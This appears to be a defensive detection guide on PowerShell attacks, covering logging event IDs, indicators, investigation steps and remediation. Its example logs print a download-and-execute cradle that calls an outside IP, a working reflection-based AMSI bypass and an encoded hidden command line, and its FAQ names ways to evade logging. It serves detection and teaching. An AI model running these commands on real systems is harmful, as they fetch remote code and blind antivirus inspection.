PowerShell Security — Attack Detection, Logging & Investigation Hub

MITRE ATT&CK

Security Relevance

PowerShell attacks are pervasive because PowerShell is trusted by every Windows security control, signed by Microsoft, capable of doing anything the OS can do, and present on every system. Attackers use it specifically because it is hard to block without breaking legitimate use. The defense-in-depth approach — Script Block Logging (4104), process creation auditing (4688 with command lines), PSv2 removal, WDAC-enforced Constrained Language Mode, and Attack Surface Reduction rules — creates overlapping visibility layers that catch encoded payloads even when individual controls are bypassed. No single control is sufficient.

Indicators of Malicious Use

• ⚑Event 4104 (Script Block Logging) with IEX, Invoke-Expression, DownloadString, or Net.WebClient — download-and-execute cradle pattern.
• ⚑Event 4688 with powershell.exe CommandLine containing -EncodedCommand (-enc/-e/-ec) — Base64-encoded payload bypassing command-line keyword scanning.
• ⚑Event 4688 with powershell.exe -Version 2 or -Version 2.0 — deliberate downgrade to bypass Script Block Logging and AMSI.
• ⚑Event 4104 with AmsiUtils, amsiContext, AmsiScanBuffer — AMSI bypass via Reflection; subsequent content ran without AV inspection.
• ⚑Event 4688 showing powershell.exe spawned by an Office application, browser, or wscript.exe — delivery via macro, phishing, or script dropper.
• ⚑Event 4688 showing cmd.exe or wscript.exe spawned by powershell.exe — PowerShell executing a shell chain, indicator of living-off-the-land execution.

Example Log Entry

# Event 4688 — PowerShell spawned by Word with encoded command
Log Name: Security
Event ID:  4688

New Process Information:
  New Process Name:   C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  CommandLine:        powershell -NoP -NonI -W Hidden -Enc JABjAGwAaQBlAG4AdA...
  Creator Process:    C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

# Event 4104 — Script Block Logging captures de-obfuscated content
Log Name: Microsoft-Windows-PowerShell/Operational
Event ID:  4104
Level:     Warning

Creating Scriptblock text (1 of 1):

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.200/stage2.ps1')

# Event 4104 — AMSI bypass attempt
Creating Scriptblock text (1 of 1):

$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b=$a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

Investigation Steps

1. 1.Determine which visibility layer caught it: Event 4104 script block content (highest fidelity — shows de-obfuscated code) vs. Event 4688 command line (shows flags and parent process, but not script content). Both together give you the full picture.
2. 2.If -EncodedCommand is in the 4688 command line, decode the Base64 payload: CyberChef → From Base64 → Decode text (UTF-16LE). If the decoded content shows another layer of Base64, apply again. The innermost layer is the actual payload.
3. 3.Check for AMSI bypass in 4104 content (AmsiUtils, amsiContext, amsiInitFailed) — if present, assume Defender did not inspect the payload that followed. Check Event 1116/1117 for any Defender detections in the same window.
4. 4.Check the parent process in 4688 — Office app or browser spawn = macro/phishing delivery; script host (wscript, cscript) = script dropper; cmd.exe from SYSTEM = service-based persistence or lateral movement.
5. 5.Look for Event 400 in Microsoft-Windows-PowerShell/Operational with EngineVersion 2.0 — if present, the attacker downgraded to PSv2, and any activity during that session has no Script Block Logging. The PSv2 execution window is invisible.
6. 6.Follow child processes: search 4688 for processes spawned by powershell.exe (Creator Process = powershell.exe path) within 10 minutes. Tools spawned by PowerShell reveal the payload's purpose.

Common False Positives

• ◎SCCM, Intune, and enterprise management agents use PowerShell extensively — parent process will be a known management agent (CCMExec.exe, IntuneManagementExtension.exe) and scripts will be from known signed paths.
• ◎CI/CD pipelines and build servers use encoded PowerShell for safe argument transport — cross-reference with build schedules and service account names.
• ◎Security tools (vulnerability scanners, EDR agents) may use PowerShell script blocks that trigger 4104 Warning level — verify parent process is a known security product.

Remediation

• ✓Enable Script Block Logging (Event 4104): GPO → Computer Configuration → Windows Components → Windows PowerShell → Turn on Script Block Logging.
• ✓Remove PowerShell v2: Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root — eliminates the downgrade attack vector entirely.
• ✓Enable command-line logging in Event 4688: GPO → System → Audit Process Creation → Include command line in process creation events.
• ✓Deploy Attack Surface Reduction rule to block Office apps from creating child processes — prevents macro-to-PowerShell delivery chains.
• ✓Enforce Constrained Language Mode via WDAC — blocks Reflection-based AMSI bypass and most offensive PowerShell module functionality.

Related Event IDs

Related Detection Guides

Frequently Asked Questions

What is the single most important PowerShell logging setting to enable?

Script Block Logging (Event 4104). It captures de-obfuscated PowerShell code at runtime — meaning even encoded, split-string, or char-code-assembled payloads appear as readable code in the log. This is the one control that makes PowerShell obfuscation irrelevant: the attacker can obfuscate the delivery, but PowerShell must de-obfuscate before executing, and 4104 captures that moment. Enable it via GPO: Computer Configuration → Administrative Templates → Windows Components → Windows PowerShell → Turn on Script Block Logging. Without it, encoded PowerShell attacks are nearly invisible from Windows native logging.

How do I investigate PowerShell activity when Script Block Logging wasn't enabled?

You have three fallback options: (1) Event 4688 with command-line logging — if command-line recording was enabled, you can see -EncodedCommand payloads and parent-child relationships even without 4104. Decode any Base64 content. (2) Prefetch files — Windows Prefetch records PowerShell execution; check C:\Windows\Prefetch for POWERSHELL.EXE-*.pf entries with timestamps. (3) PowerShell ConsoleHost_history.txt — located in each user's AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine; stores command history for interactive sessions. None of these replace 4104, but they provide partial reconstruction of activity.

Can attackers avoid leaving traces in Event 4104 entirely?

Yes, via three methods: (1) PowerShell v2 downgrade (-Version 2) — PSv2 predates Script Block Logging; remove PSv2 to eliminate this. (2) Direct .NET/CLR invocation — calling PowerShell APIs via the .NET runtime without going through the PowerShell engine bypasses 4104 entirely; visible in 4688 as the calling process, and in Sysmon Event 7 as CLR DLL loads. (3) ETW provider patching — advanced attackers can patch the Event Tracing for Windows provider that feeds 4104; this is rare and itself detectable via Sysmon process tampering events. Removing PSv2 eliminates the most accessible bypass; the others require more sophisticated attackers.